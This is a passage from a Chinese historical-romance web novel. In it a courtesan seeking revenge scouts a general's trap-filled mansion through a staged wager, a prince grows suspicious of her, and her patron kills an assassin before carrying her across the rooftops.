难得遇见个女人让他有些喜欢,虽然是不知道喜欢哪儿,但既然再次来这梦回楼了,那定然不是来要命的。
“救命啊!”
刚想着呢,里头就传来缠绵悱恻的呼救声。观止脸一红,暗暗骂了自家主子一句不要脸。
外头还有小孩子呢,就不能轻点吗!
灵殊一听,眼泪“刷”地就下来了,小拳头直往观止身上砸:“你给我让开!”
伸手抓住她的手,观止叹息:“你听我解释啊,他们……”
“我不听我不听!”灵殊跺脚:“上回他来,我家主子身上就全是青青紫紫的,他肯定打我家主子了!你让我进去!”
这……该怎么解释是好呢?挨着这不痛不痒的拳头,观止尴尬地笑着。按理说他家主子是不重欲的,以往送去东宫的姑娘,虽然大多被宠幸,但也未曾有谁身上留下痕迹。现在这……大概是憋太久了?
观止想不明白,殷戈止自己都想不明白。床下的风月他万分嫌弃,可一旦纠缠起来,他又不管怎样都挣扎不开。这女人不知是乱蒙的还是怎么,他身上最受不住的地方,她统统都知道,跟个妖精一样的勾引他、诱惑他,拉着他沉向无边的泥沼。
太糟糕了……
太阳西沉,夜幕垂垂,殷戈止坐在床头,旁边的小妖精已经睡着了。
低头仔细打量她,殷戈止依旧觉得她有点熟悉,仿佛在哪里见过。可他见过的人太多了,实在不记得有谁长了这样一张狐狸脸。
伸手捏起她的手看了看,手指好像有点发紫。
该换药了?
反正睡不着,他干脆下床,拿了旁边花架上的药箱,然后坐在床边拆她手上的白布。
在军营里混久了,包扎伤口之类的事倒是比军医还熟练,殷戈止慢条斯理地卷着布,等整个手上的白布都被他卷起来之后,他低头看了看。
手腕上竟然还缠着红绸。
嗤笑一声,他觉得这女人真是有毛病,手都废了还想着怎么勾引人呐?这段儿红绸他记得,扬起来是很好看,但也没必要这种时候都还缠着。
伸手要去解,床上的人却猛地惊醒:“住手!”
凶狠地一声吼,惊得隔壁屋子里的姑娘客人都吓了一跳。
殷戈止皱眉:“你这么大反应做什么?”
冷汗涔涔,风月回过神,看了看这人,又看了看自己的手。
她又做噩梦了,梦见在魏国的
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大牢,有人捏了细长的柳叶刀,要来挑她手筋。
原来是梦啊,真好。
可是……低头看了看自己缠着红绸的手腕,风月失笑,笑得眼眶都红了。
她的手筋早就被挑了,哪里还轮得到梦里的人动手。
皱眉看着面前这女人,殷戈止莫名地觉得心口不舒服,也不管那红绸了,拿了药就往她手上涂,三两下给她重新包好,便径直躺上床,闭眼休息。
“明日还有事,你别吵我。”
到底是谁吵谁?皱眉看着他,风月眼里慢慢涌了血色。
如果成事的路上有捷径,那么就算捷径是他,她也该一脚踩上去!关家满门血债,无数无辜之人的性命,都有殷戈止的一份罪孽,他既然已经送上门,她就没有害怕的道理!
深吸一口气,风月缓了缓气,跟着他躺下。
第二天天刚亮,殷戈止就走了。风月起身梳妆,平静地看着镜子里的那张脸。
“主子。”灵殊眼泪汪汪地站在她身后:“奴婢没能保护好您。”
一听这话,风月终于笑了,回头看着她:“我还能指望你来护着了?再说了,也没什么危险啊,你保护我什么?”
指了指她脖子上的红痕,灵殊更愧疚了:“昨儿那客人不是打您了吗?”
风月:“……”
一脸慈祥地摸了摸这小丫头的脑袋,她失笑:“这不是他打的,你不用担心了。快,拿着这银子,去买点绿豆糕。”
又买?灵殊转身去看了看花架上的食盒:“诶?上次买那么多,都吃完了?”
“你家主子我最喜欢吃绿豆糕,所以吃完啦。”脸不红心不跳地欺骗小孩子,风月笑眯眯地道:“快去吧,记得买响玉街街尾那一家的,那一家最合我口味。”
“好!”灵殊应了,接过风月给的碎银就往外走。
响玉街街尾的绿豆糕铺子已经开了三年了,是一对和善的夫妇在经营,看见灵殊,老板娘很是热情:“小丫头又来买绿豆糕啦?”
伸手把银子递过去,灵殊乖巧地道:“我家主子说您这儿的绿豆糕最好吃。”
“那是,咱家的绿豆糕,吃过的客人都夸呢!”笑着接了银子,没放进下头的钱兜,倒是不声不响地递给了后头的掌柜,老板娘继续给灵殊包着绿豆糕,那掌柜则捏着银子去了后院。
殷戈止收徒的事情定了下来,徐家和安家两个少爷今日便去了使臣府拜师。
敬茶行礼之后,殷戈止看着他们道:“你们是太子殿下允许的、入我门下的弟子,也是殷某收的第一批徒弟,今日开始,就跟着我习武学文,有什么想知道的,都可以问我。”
两家少爷都分外高兴:“徒儿们一定紧跟师父,时时学习!”
观止从外头进来,在殷戈止耳边嘀咕道:“外头消停了,都道是太子点的人,眼下有异议,也都在议论太子罢了。”
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第14章 将军府
殷戈止颔首,然后一脸正气地看着面前两个人道:“本事如何,我不看重,但为人一定要行的端做得正,不可做阴诡害人之事,明白吗?”
“明白!”两只雪白雪白的小少年挺直了腰杆回答。
观止捂了脸。
要论阴诡,主位上坐着的这个分明就是个中翘楚!昨儿收个徒,得罪人的分明是他,锅全让太子背了。本来世家之人就不太好得罪,自家主子昨儿在校场上都不吭声,太子爷倒是体贴,替主子把话说完了,这俩人也就成了太子举荐给自家主子的。
谁家有不满,找太子去!
找是肯定不敢找的,但背后难免会有些怨言。太子恐怕还什么都不知道,只会觉得今天天气不错。
今儿的天气的确是不错,刚用过午膳,风月就被一顶小轿给接到了响玉街的茶楼上。
叶御卿带着易掌珠坐在她对面,风月穿了件儿良家妇女点的朱红色长裙,端着茶咧嘴笑得跟楼下门口的店小二一样。
“让二位破费了。”
易掌珠捏着帕子微笑:“破费的是殿下,掌珠可没掏银子。”
叶御卿温和地颔首:“珠儿说要谢你救命之恩,特地请你出来喝茶。”
感动地看了易掌珠一眼,风月颔首:“易小姐很善良。”
一双杏眼在她身上扫来扫去,易掌珠道:“过奖了,姑娘当日那般勇猛,救了掌珠一命,掌珠自然要感谢。虽说这些时日殷哥哥和殿下都送了不少补品给你,但掌珠的谢意,还是要自己传达才是。”
风月一愣,心想原来殷戈止是因为她送的补品啊,她就说那人怎么这么好,有闲心给她塞补品。
抿茶陪笑,风月不再开口,倒是易掌珠,好像对她很感兴趣,一连串地问她:
“姑娘为什么沦落风尘啊?”
“因为缺钱。”
“那没想过好生跟个人过日子吗?”
“没有遇到。”
易掌珠点头,伸手就指了指自己身后站着的家奴:“姑娘看这孙力如何?力气大,家里也没什么拖累,三年前他媳妇去世之后就没再找过人,如今也想成个家。”
风月挑眉,心想这易小姐菩萨光芒普照四方的,也照得太宽了点。
“实不相瞒,易小姐。”她和善地笑道:“我在梦回楼里挺好的,暂时没有要从良的想法。”
脸色微变,易掌珠皱了眉:“哪有人喜欢一直在风尘堆里打滚的?瞧你年纪也不小了,还不找人嫁了,以后年岁大了,后半生都没个依靠。”
“这实在不劳小姐操心……”
“姑娘是不是嫌弃孙力的身份?”打断她的话,易掌珠有点生气:“他虽然是家奴,可在我易府,也是被当成家人看待的。虽比不得那些在窑子里逛的人有身份有地位,可他很踏实!”
这就有点尴尬了,风月干脆闭嘴,眼观鼻,口观心,不再说话。
叶御卿脸上的笑意都淡了点,低声道:“珠儿,风月不愿意,你又何必强人所难?”
她强人所难?易掌珠当真是生气了,颇为不悦地看着叶御卿:“我是为她好,她不领情就算了,殿下还责备我?”
“不是……”
“我知道,您最近也爱往梦回楼走,殷哥哥也是,你们男人都喜欢长得好看的女人,珠儿都明白。”捏紧了拳头,易掌珠努力平静地道:“但风尘女子就是风尘女子,你们也当注意身份。想要长得好的,不阴城那么多贵门之女,还挑不着你们顺眼的?”
更何况,她还没死呢!
风月终于听出来了,这几日叶御卿和殷戈止来找她找得频繁,惹易大小姐不高兴了。本来被她救了还有点感激她,现在大概是被恼恨冲了头,看她的眼神分外不友善。
这算什么事儿啊?如果没记错,易掌珠拒了太子的求亲,又同殷戈止没什么关系,这两人的醋,她吃得没道理啊。
眼珠子滴溜溜地转了几圈,再抬头时,风月笑得一脸无知:“风尘女子和贵门女子都是女子,易小姐为何就觉得他们不能寻风尘女子为伴?”
还想为伴呢?易掌珠皮笑肉不笑,念着恩情,勉强压着火气道:“自古婚姻都讲究个门当户对,风尘里出来的姑娘,什么都不会,也没见过世面,哪里能配得上贵门的公子?”
“奴家也算见过世面啊。”风月不服气地抬了下巴:“官邸什么的,也去过不少了,上回去的李太师的府邸,也不过如此嘛,同民间有钱一些的人家差不多。”
官邸能同民宅一样?易掌珠笑出了声,眼里带了点轻蔑:“太师虽有品级,但也算不得重臣,官邸自然简陋。今日天气不错,姑娘若是当真想开眼界,不如就随掌珠回将军府去看看?”
等的就是这句话!
风月作苦恼状,很是犹豫地看了易掌珠一会儿,道:“听闻将军府修得复杂,又无甚景物,规矩严还不允人乱走,去了也没什么好看的吧?”
“民间的传言还真是有趣。”拂袖起身,易掌珠睨着她道:“将军府是敕造的,景物良多,规矩虽严,但有我带路,你怕个什么?”
“好吧。”勉强应下,风月的表情看起来是心虚又故作镇定。易掌珠打定主意要在她面前炫耀一番,好叫她明白官家与平民的差距,于是二话不说就让人备车。
众人一起出门的时候,叶御卿颇为怜惜地看了风月两眼,放慢脚步在她耳边道:“掌珠偶尔会骄纵些,毕竟是被宠着长大的,你多担待。”
回他妩媚一笑,风月颔首:“奴家明白。”
三人一起乘车,叶御卿依旧淡定地摇着扇子,风月忍不住就多嘴问了一句:“殿下不忙吗?时常在宫外走动。”
“你懂什么?”易掌珠轻笑:“殿下这是用人得当,该做的事儿都交给最会做的人去做了,自己才更逍遥些。”
叶御卿笑着颔首。
风月了然,十分钦佩地道:“真不愧是一国太子。”
微微皱眉,易掌珠很不舒坦,但也不好开口说什么。
将军府到了,风月提着裙子下去,看着门口就装作吓了一跳的样
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子,然后咳嗽两声恢复镇定:“修得不错。”
好笑地看她一眼,易掌珠邀着叶御卿从正门进去,然后挥手让孙力引着她走后门。
风月规规矩矩地跟着走,前头的家奴可能是刚刚被她拒绝,态度不是很好:“你跟紧了,别乱走。”
“好。”温柔地应下,风月跨进后门,被门口的守门人简单地检查了一番之后,就提着裙子往里走。
易大将军的府邸,当真是分外奢华的,哪怕是从后门进去,也像是绕进了迷宫,走廊蜿蜒,庭院大同小异,要不是有人带着,定然一会儿就迷了路。
然而风月的方向感还是不错的,就算前头的孙力绕出个圆圈来,她也记得自己是从哪个方向进来的,也记得这一路走来的亭台楼阁。
很不错的宅子,按照风水来说,再往东就应该是易大将军的院子了。风月看了一眼,正暗暗记着呢,前头的人突然就停下来了。
“怎么?”
抬头看了一眼,风月微惊。
孙力脸上的表情有点凶狠,本来就不是很端正的一张脸,瞬间就更扭曲了。他们正走到一个小庭院里,四处无人,两边都是假山,风月扫了一眼,呼救可能都没用。
“你看不起我?”他咬牙问。
笑着摇头,风月很真诚地道:“没有,只是真的还不打算从良。”
目光从她的衣襟里扫下去,孙力喉头微动,突然就伸手扯她衣衫。风月象征性地反抗了一下,外头的袍子就被他扯破——抠门的金妈妈,买的衣裳也向来不是什么好料子。
顺势脱了外袍,风月穿着里头的长裙,咯咯笑了两声,朝面前的人抛了个媚眼:“瞧你给急的,想要奴家还不容易么?站着别动。”
化被动为主动,风月一把就将孙力推在了假山上,狐眸盯着他,努力动着手指去扯他腰带。
美人要自己动手,那是个男人就会站着不动省力气。孙力色眯眯地看着眼前的人,感觉到自己腰带一松,又感觉到自己腿上一紧,突然觉得有点不对劲。
“喜欢我吗?”风月笑着道:“喜欢就晚上来梦回楼点奴家的台啊,这光天化日的可不行。”
说罢,退后一步,脸上带笑,飞起一脚将他踹倒在地,然后拔腿就跑!
腰带被她用来捆住了他的双腿,死结!孙力傻了眼,伸手就去扯,可在他扯的空隙里,那女人早跑得没了影。
可恶!
前头就是东边的院子,不知道是不是易将军的主院。风月揉乱了自己的发髻,手捂着衣襟,一路嘤嘤嘤地往里跑,惊动了不少附近的守卫。然而都不知这姑娘哪里来的,守卫们都围着她,没立马动手。
“你们将军府就是这般待客的吗?放我进去,我要找易小姐评理!”大声嚷嚷着,风月低头就冲进了那院子,坐在地上就哭!双手捂着眼睛,指缝儿里倒是露出精光来。
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第15章 打个赌吧
比其他院落的守卫都更森严,前庭空地两边还放了小巧的石狮子,朱漆雕花都一股摄人之感,十有**就是易将军的主院。
“这位姑娘!”旁边的守卫拿剑对着她:“您要找大小姐,应该去南院,这里是不能进来的……”
“胡说!”一扭身子,风月狠狠地瞪了说话的人一眼:“方才引路的那个叫孙力的家奴骗我,你们也想骗我!这院子这么气派,不是大小姐的还能是谁的?让开,我要进去!”
这哪里能让啊?四五个护卫围着她,看她说得出孙力的名字,更不像是撒谎,于是一边拦着她,一边连忙让人往南院报信去了。
反正他们也不会动手,风月就垫着脚将周围都看了个遍,跟乡下人头一次赶集似的,惊叹地道:“果真不愧是将军府啊,真是好看。”
年轻些的护卫面皮儿薄,瞧见这么个衣衫不整的姑娘,脸红成了一片,小声问:“姑娘可要件衣裳裹着?”
“我倒是想要,可你们拦着我不让我进去啊。”风月可委屈了,一双眼睛眨啊眨,无辜地泛着水光。
护卫脸更红了,小声道:“这是将军的院子,看守自然严些。幸好姑娘只闯了外院,要是进了里头,说不定就被羽箭射成筛子了。”
这么厉害?风月挑眉,也不吵吵着要进去了,就安静地等着。
易掌珠和叶御卿没一会儿就过来了,瞧见她这模样,叶御卿眉头直皱:“出什么事了?”
“殿下、易小姐。”风月回头,可怜兮兮地看着他们,哽咽道:“孙力引奴家进门,却欲强了奴家,奴家慌不择路,跑到了这儿,瞧着院子气派,许是易小姐的居所,便进来找你们了。”
易掌珠一愣,回头往四处看了看:“孙力呢?”
有家奴过来小声嘀咕了两句,易掌珠的脸色微变,看了风月一眼,挥手让人去拿衣裳。
“大概是姑娘身份特殊了些,故而孙力想与姑娘亲近,也就没个分寸。”朝她笑了笑,易掌珠道:“姑娘别往心里去。”
妓子就是这般**没**,别人侵犯都只能说人家是想照顾你生意,没成功的话你别往心里去,成功了的话大不了补点银子。
一早料到会是这样的结果,风月也没指望易掌珠会把孙力怎么样,重点也不在这儿。
“既是如此,那也的确是奴家大惊小怪了。”勉强笑了笑,风月道:“可以进去坐坐么?奴家这衣衫不整的,在这儿站着也不像话。”
抬头看了一眼这院落,易掌珠微愣,正想开口,旁边的叶御卿却抢在她前头,沉声道:“进去吧,等人拿衣裳来。”
“殿下。”易掌珠有点慌:“这是爹爹的院子。”
“本宫知道。”侧头看她,叶御卿道:“易将军正在漠北驻守,院子空着,风月冲撞不到谁。再者,将军自己也说,愿本宫随时来他院落走动。”
言下之意,主人都同意的,她拦着做什么?
略微顾虑地看了四周一眼,易掌珠不吭声了,抬眼示意旁边的护卫去将前厅的门打开。
风月一脸天真,对什么都好奇,睁大眼睛四处看着,嘴里惊叹连连:“好气派的地方啊!”
瞧她那没见过世面的模样,易掌珠撇嘴,轻哼一声道:“爹爹的院子可是数百工匠花了一年才修建好的,是整个宅子里最后完工的院落,能不气派吗?”
“啊?数百工匠,修了一年?”风月咋舌,眼里随即流露出“你在吹牛吧”的神色,小声嘀咕:“气派是气派,可也就一个院子,怎么可能修一年?又不是宫殿……”
易掌珠哼笑:“你知道什么?这院子每处都是精雕细琢的,一点瑕疵也没有,一般的人力可做不到!”
“是吗?”风月撇嘴,朝着叶御卿小声道:“太子您看呢?方才奴家跑进来的时候,分明就瞧见不少瑕疵。”
叶御卿状似沉思片刻,然后竟然意外地配合:“本宫好像也瞧着些。”
易掌珠这才是真的恼了,本就是经不起激将法的性子,又从小被人捧着长大,没经历过多少人心险恶,当即就起身道:“既然二位都这么说,那掌珠就同二位打个赌!二位今日要是能在这主院里找出一丝修筑上的瑕疵来,掌珠立马将府里刚得的上等玉簪双手奉上!反之,要是不能……”
转头看向风月,掌珠笑了笑:“那姑娘就接了孙力为客吧。”
风月干笑,这算个啥?有奖她和太子分,有罚她一个人上?
“好。”不用受罚的太子殿下答应得那叫一个果断:“那就开始找吧,为了避免冲撞,本宫和风月身边都跟个贵府的护卫,要是碰着不该碰的,也好提点一二。”
如此就更加妥帖了,易掌珠想也不想就点头,正好有护卫拿衣裳进来给风月,她顺手就指了那护卫:“小唐,你跟着这位姑娘,别让她闯了不该闯的地方。”
年轻的护卫红着脸应了,看风月穿上了外袍,便引着她往外走。
叶御卿摇着扇子跟着跨出门,目光在风月的背影上停留了好一会儿,才闲散地往另一个方向而去。
“我是不是打错赌了呀?”一离开前厅,风月就颇为懊恼地小声嘀咕:“这地方机关重重,要修个一年半载的也是常事,唉。”
唐护卫依旧红着脸,小声道:“我在这儿守了一年有余,的确常听人夸此处天衣无缝,是绝佳的居所,要寻出瑕疵来,怕是难。”
“那怎么办呀。”风月不走了,站在原地眼泪汪汪的,看起来很像迷路的小羔羊:“奴家不想接那孙力的客,易小姐这是为难奴家啊!”
是个人都有恻隐之心,尤其是血气方刚的男人对楚楚可怜的女人。唐护卫有点无措,连忙安慰:“咱们仔细找找,也许当真有什么瑕疵呢?”
感动地看着他,风月一脚就跨进了后院。
“站住!”后院的门口就有护卫拦人,唐护卫连忙上去道:“是大小姐的吩咐,兄弟们先去歇会儿吧,太子殿下等会说不准也要往这边来。”
“这?”后院的护卫有点疑惑:“将军吩咐过,这边的院子不让任何人进去的。”
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“这些规矩是你们清楚还是大小姐更清楚啊?”唐护卫摆手:“大小姐都那么吩咐了,你们就去歇着吧,有我守着这位姑娘,不该碰的是不会碰的。”
有易大小姐在后头撑腰,后院护卫再多说也是无用,犹豫了一下,还是退了出去。
风月笑眯眯地瞧着,心想还是姑娘家好啊,姑娘家心软,要是易大将军在府上,那这地界儿她横着可能都进不来。
“你小心点。”看她要走进去,唐护卫连忙喊住她,指了指对面书房门口放着的石狮子:“那儿有机关,你跟着我走。”
微微挑眉,风月应了,低头看着他踏上庭院中间的青石板路,亦步亦趋地跟着他。
“旁边的泥土地不能踩吗?”好奇的风月宝宝天真地问了一句:“踩了会怎么样啊?”
“会被万箭穿心。”唐护卫认真地道:“那边两座石狮子的头上顶着的圆盘就是机关,两边泥土松软,埋的全是细线,一旦踩上,箭头会瞬间射出来,四面八方,没有空隙可以躲。”
的确,这院子除了那两座石狮子,旁边连棵树都没有,自然不能躲。
正常人的书房,需要这样的机关?风月笑了笑,不声不响地继续跟着进去。
这东院的结构果然很是复杂,五间屋子,除了书房、卧房和前厅,还有两间客房。风月走了一圈儿,唐护卫也是尽职尽责,只要有机关的地方,一律都提醒了她,导致半个时辰之后,她对这东院的机关陷阱真是了如指掌。
“书房不能进去,其他的地方咱们再找找吧?”唐护卫小声道。
感激地看了他一眼,风月点头,转身去了客房。
客房大概是很久没住人了,灰尘重,打开瞧着就是一片蜘蛛网。风月被呛得咳嗽两声,皱眉道:“脏成这样,怎么也不扫扫?”
唐护卫笑道:“因着东院复杂,将军惯常不留人在东院的客房的,没人住,下人自然也就懒了些。”
扫了一眼里头,风月也没进去的兴致,随意看了看,就准备回去了。
“姑娘不再找找?”唐护卫担忧地道:“你们的赌注……”
“听天由命吧。”风月微笑。
易掌珠还在前厅里坐着,见风月垂头丧气地回来,便笑:“怎么?认输了?”
“将军府建筑之精细,奴家服了。”风月感叹道:“这一路,当真没找着瑕疵。”
哼笑出声,易掌珠正准备再得意两句,结果就听得门口有人道:“是你未曾用心找吧。”
两人纷纷侧头,就见叶御卿笑着跨进门来,摇着扇子道:“光本宫瞧见的瑕疵,就有一百零八处,珠儿,这回你可要输了。”
一百零八处?易掌珠当即就摇头:“不可能!”
一处瑕疵还能说是工匠粗心,要是有一百零八处,那他们怎么可能看不见?
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第16章 全靠演技
风月也有点好奇,虽然她压根没认真找,但一眼扫过去,这院子也是精工细琢出来的,不可能出那么大的纰漏啊。
“你们来看。”收了扇子,叶御卿抬手就指了指门口。
易掌珠立马起身,风月也跟着凑过去,就见那门楣上画着三爪金龙,吞云吐雾,颇有气势。
易国如战功赫赫,也是颇受圣恩,敕造府邸不算,还能用三爪金龙作纹案,可见吴王对其倚重。
只是……仔细看看,这些个龙好像哪里不太对劲?
易掌珠也瞧见了,惊讶地低呼了一声,有些莫名其妙:“眼睛呢?”
这好端端的龙,怎么都没画眼睛的?
叶御卿笑道:“大概是匠人粗心,这院子一共一百零八条龙,全部都没画眼睛。”
风月恍然,松了好大一口气,易掌珠分外不满,咬牙看了叶御卿一眼,眼神颇为委屈。
从小太子殿下就对她很照顾,像哥哥又像郎君,不管做什么都护着她,站在她这边的。今日就只为了个妓子,他竟然不帮她了?
心里憋屈,但愿赌还得服输,易掌珠沉了脸,挥手就让人把府里刚得到的上好的和田玉簪拿了出来,塞进了太子的手里:“掌珠身子不太舒坦,就不远送了,二位慢走!”
说是说慢走,却还是嗔怒地看了叶御卿一眼,明显是有话要说。
捏了玉簪在手里把玩,叶御卿恍若没看见易掌珠的眼神,只道:“本宫正好要回宫,风月随本宫上车吧,正好送你一程。”
还真就走了?易掌珠惊愕,看了他好几眼,又看向风月。
这狐狸精一般的女人,笑得妩媚极了,躬身应了就同太子一起往外走,完全没把她这不高兴的态度放在心上。
哪有这样的?!
风月知道这位大小姐要生气,但太子殿下这回瞧着没打算给她脸面,她这种小人物自然更不好多说了,低头跟着人走就是了。
身后传来易掌珠跺脚跑走的声音,几个丫鬟大声喊着“小姐”!然而前头的叶御卿走得头也不回,衣袂飘飘,依旧是那副潇洒得要命的样子。
奇了怪了,风月有点想不通,从先前一粟街上的状况以及民间传言来看,这位爷不是挺喜欢易掌珠的吗?这一下脸子给甩得,可真是半点柔情都没有。
出门上车,风月缩手缩脚,规规矩矩地坐在叶御卿的旁边,后者慵懒地靠在车壁上,手里依旧在把玩那簪子,像是在想什么事情。
悄悄侧头打量他,这人嘴角依旧带着温和的笑意,但眼眸半垂,里头昏暗一片。不小心对上稍微流泻出来的暗光,风月身子一僵,连忙伸手捂眼。
那么温和的人,原来也会露出这么令人胆战心惊的眼神。
马车里安静了一会儿,叶御卿睁眼,轻轻笑了一声:“你胆子这么大,还会被本宫吓着?”
风月直哆嗦:“奴家的胆子一点也不大,随便来个什么也能吓奴家一跳。”
“那倒是稀奇。”坐直身子,叶御卿侧头凑近她:“胆子不大,还敢在易将军的府邸里乱跑,嗯?”
易掌珠可能看不出她的意图,但这点伎俩在他眼里,实在是不够看的。只是恰好他也很好奇易将军的宅院,因着身份,一向没机会细究,旁人也进不去那地方。她今日装疯卖傻的,倒是也帮了他一把。
不过他很想知道,眼前这个风尘女子,勾搭殷戈止还不算,怎么还想刺探将军府?
眨了眨眼,风月眼眸清澈,万分无辜地道:“奴家只是逃命而已啊,逃命可不得乱跑吗?奴家只是想着人多的地方好救命,所以看那院子人最多,就冲进去了。”
说罢,咬咬唇,心有余悸地道:“那叫孙力的也是可怕,二话没说就对奴家动手,幸好奴家跑得快……”
表情真实,眼里的害怕和庆幸也是真真切切的,看得叶御卿微微怔愣。
怀疑错人了?她当真是误打误撞?
可是,她说的每一句话,都是在刺激易掌珠让她在那院子里随意翻看,也是巧合吗?
“不过奴家今日是不是得罪易大小姐了?”面前的女子叹息,颇为苦恼地道:“本是打算故意打赌输了,让易小姐高兴高兴,谁知道殿下这么不留情面,这下她怕是更恼奴家了。”
是故意打算输的?叶御卿皱眉:“你输了,就当真要伺候孙力,先前你在人前驳了他的面子,若是落在他手里,他定然不会叫你好过。”
“奴家都明白。”风月低头,小小的身子缩成一团:“可是奴家能有什么法子呢?做这行的,最怕得罪人,说不定哪天就死在巷子里,连个收尸的人都没有。”
心口微动,叶御卿抿唇,有些怜惜地道:“本宫护着你,没人能让你死。”
“多谢殿下。”抬头朝他一笑,风月松了口气:“有殿下护着,那奴家能回去睡个安稳觉了。”
轻轻颔首,叶御卿低声道:“等会去梦回楼,顺便点了你的台吧。”
殷戈止上回包她几日,到今日应该是恰好结束。
心里一跳,风月面上满是娇羞,颔首应下。
该来的总是会来,她一开始就打算爬人家太子爷的床,如今绕了几个弯,终于还是要上了。
不能怂!
捏着手帕,风月高兴地看着窗外的路,像是盼着到梦回楼一般。叶御卿瞧着,笑着摇头。
也许,是他想太多了吧。
“哎哟我的姑奶奶,你可算回来了!”
刚踏进梦回楼,就听见金妈妈超大的嗓门,健硕的身子朝着风月就扑了过来:“好女儿!那位公子又包了你几日的生意,你快上楼……哎?这位公子也来了,里头请啊!”
被她这话说得有点懵,风月眨眨眼,看向后头的叶御卿。
太子殿下不急不缓,摇着扇子走到金妈妈身前了,才问:“谁又包了风月姑娘啊?”
瞧这俊俏的公子哥儿,金妈妈抹了抹鬓角就含羞带怯地道:“还能是谁啊?前些日子包风月的那位公子,看起来是当真喜欢风月,今儿一来,又续了几日。”
三楼的门打开,有人站了出来,立在栏杆
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后头冷眼往下瞧。
风月抬头,正好就看见了殷戈止一张含讥带诮的脸。
眼前一黑,风月差点想冲他举拳头!冤孽啊!还让不让人好好勾搭个太子了?怎么哪儿都有他啊?!
有点恼怒,她扭头就道:“金妈妈,我已经接了这位公子的客了,您这时候来说奴家被别人包了,这……”
“咱们这烟花地啊,向来就容易产生这样的争端。”金妈妈笑道:“所以一早有规矩的,谁先结了单,在妈妈这里登了记,谁就为先。这位公子,若是想找姑娘,咱们梦回楼里美人儿可不少呢,您要不再瞧瞧?”
叶御卿摇头,扇子一合就轻轻敲在风月的额头上:“爷就看上她了。”
“这……”金妈妈赔笑:“凡事都有个规矩的。”
“在下也懂规矩。”叶御卿颔首:“那么,那位公子包了几日?”
“五日。”
“好,那就提前先在妈妈这儿登个记。”甩手抛了银锭子给她,叶御卿朝三楼上微笑颔首,然后转身就往外走:“五日之后,在下再来便是。”
金妈妈笑得脸都皱了,接着银子跟着送出去好几步,一路吆喝着:“公子慢走,小心脚下啊!”
吐了一口浊气,风月认命地提起裙子,上楼。
殷戈止坐在房间里喝茶,见她进来了,眼皮子掀了掀:“去将军府做什么了?”
吓得一个哆嗦,风月退后两步,警戒地看着他:“您怎么知道奴家去将军府了?”
不耐烦地伸手扯了她身上披着的袍子,殷戈止皱眉:“旁的我不知道,这是将军府丫鬟的外袍我还是认得的。”
这样啊,风月媚笑,蹭到他怀里去坐着便道:“今日是受易小姐邀请去的将军府,喝了会儿茶,衣裳坏了,所以借了丫鬟的衣裳回来。”
下意识地捏着她的腰,让她坐稳些,殷戈止冷声讽刺:“你的衣裳真容易坏。”
那还不都是这些个臭男人没事就爱扯人衣裳?风月龇牙,像只凶恶的老虎,正想控诉呢,冷不防就见这人的眼神扫过来了,当即**一软尾巴一耷拉,垂着耳朵就变成了谄媚的猫咪:“公子说得是,金妈妈该买点好衣裳回来。”
轻哼一声,殷戈止道:“今晚就在你这儿歇了,你准备准备。”
“好嘞!”风月颔首,立马去找灵殊给自己洗漱更衣。
“主子。”澡堂里,灵殊一脸天真地在她耳边嘀咕:“方才遇见卖绿豆糕的赵大娘啦,大娘很关心您,还说最近天气有变,让您小心身子。”
风月听着,笑吟吟地道:“人家这么体贴,灵殊是不是该多去买点绿豆糕,照顾人家生意啊?这儿是银子,等会你就往响玉街去一趟吧。”
不疑有他,灵殊欢快地就应下。
夜幕降临,风月裹了纱衣上楼,冷不防觉得头顶有风,下意识地就低斥一声:“谁!”
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第17章 **啦!
一片黑影从头顶上过去,激得她浑身紧绷,下意识地就想去追。
然而,就算意识还在,但这身子,追上人家可能还会反被灭口。深吸一口气,风月看了看四周,楼下人多,三楼的房门都紧闭,没什么人在外头。
那只有殷戈止的身边最安全!
提着裙子“咚咚咚”地跑回自己房间,风月一脚踹开房门就喊:“公子!有刺客!”
屋子里的殷戈止手里扼着黑衣人的喉咙,像捏破布一般,眼神阴鸷:“我看见了。”
风月:“……”
动作好快啊,她跑过来也就几步路的时间,这黑衣人竟然就动手了。更可怕的是,看起来他才刚刚动手,然后就被殷戈止给掐**。
简单粗暴,不用武器,伸手就掐死!
下意识地摸了摸自己的脖颈,她突然觉得殷戈止还是很温柔的,掐她没用什么力气,真用力,她怎么也得被掐个姹紫嫣红七窍流血。
咽了口唾沫,风月一脸害怕地看着他:“公子……您……这……”
**了耶!
冷哼一声将尸体扔在一边,殷戈止看了她一眼:“你怕?”
不怕,但装也要装得怕啊!风月抖着身子,跟中风了似的颤颤巍巍,一双眼里满是惶恐:“奴家这房间还要用来睡觉的……”
像是听见了什么动静,殷戈止侧头顿了顿,眉头微皱,暗骂了一声,然后便道:“你是想留下来死在这里,还是跟我出去看看月亮?”
这种事情需要问吗?风月扑过去就往他怀里一跳,一双眼眨巴得娇媚万分:“公子救我!”
斜她一眼,殷戈止伸手捏了她的腰,转身就踢开了窗户,纵身一跃,从梦回楼的三楼直接跳到了对面房屋的屋顶。
属猫的吧?抱紧了他,风月是真紧张了,生怕这人一个用力过猛,直接把人家房顶踩踏,然后就得摔个七荤八素的。
然而她多虑了,哪怕是抱着她这么个人,殷戈止也是身轻如燕,从一个房顶踩到另一个房顶,潇洒地穿梭于亥时安静的不阴城,最后停在了不阴城最高的望乡楼上。
“您是当真出来看月亮的吗?”哆哆嗦嗦地看了一眼他们的位置,风月差点嚎出声:“这么高!”
“下去。”殷戈止面无表情地道。
倒吸一口凉气,风月“哇”地一声就哭了出来:“公子,咱们近日无怨啊,您好端端地把奴家抱出来让奴家从望乡楼上下去?若是奴家伺候得不周到,您可以跟金妈妈说,奴家改啊!不必用这样的方式……”
“吵**!”嫌弃地捂了她的嘴,殷戈止黑着脸道:“我是让你从我身上下去!”
夜风徐徐,楼顶上的玄衣男子站得笔直,身上缠着个红衣女子,手脚并用,跟章鱼似的吸附在人家身上。
呆呆地看着他没回过神,风月喷了个鼻涕泡,泡泡“啵”地一声破了,微微溅上他的衣襟。
殷戈止差点就反手将她劈下去了!
“息怒息怒!”连忙松开人家蹲在屋脊上,风月掏出手绢擦擦眼泪擤了擤鼻涕。
旁边的人厌恶万分地看着她,很是不能理解:“别的女人哭都只有眼泪,你为什么还流鼻涕?”
扔了手绢翻了个白眼,风月道:“是个人哭都会有鼻涕,有的姑娘想凄美点,就把鼻涕擦了而已。可当真伤心了害怕了,谁还顾哭得美不美啊?”
殷戈止皱眉,脸上满是不能理解。不过来不及等他想通,四面八方破空之声同时袭来,风月吓得立马趴在了瓦片上。
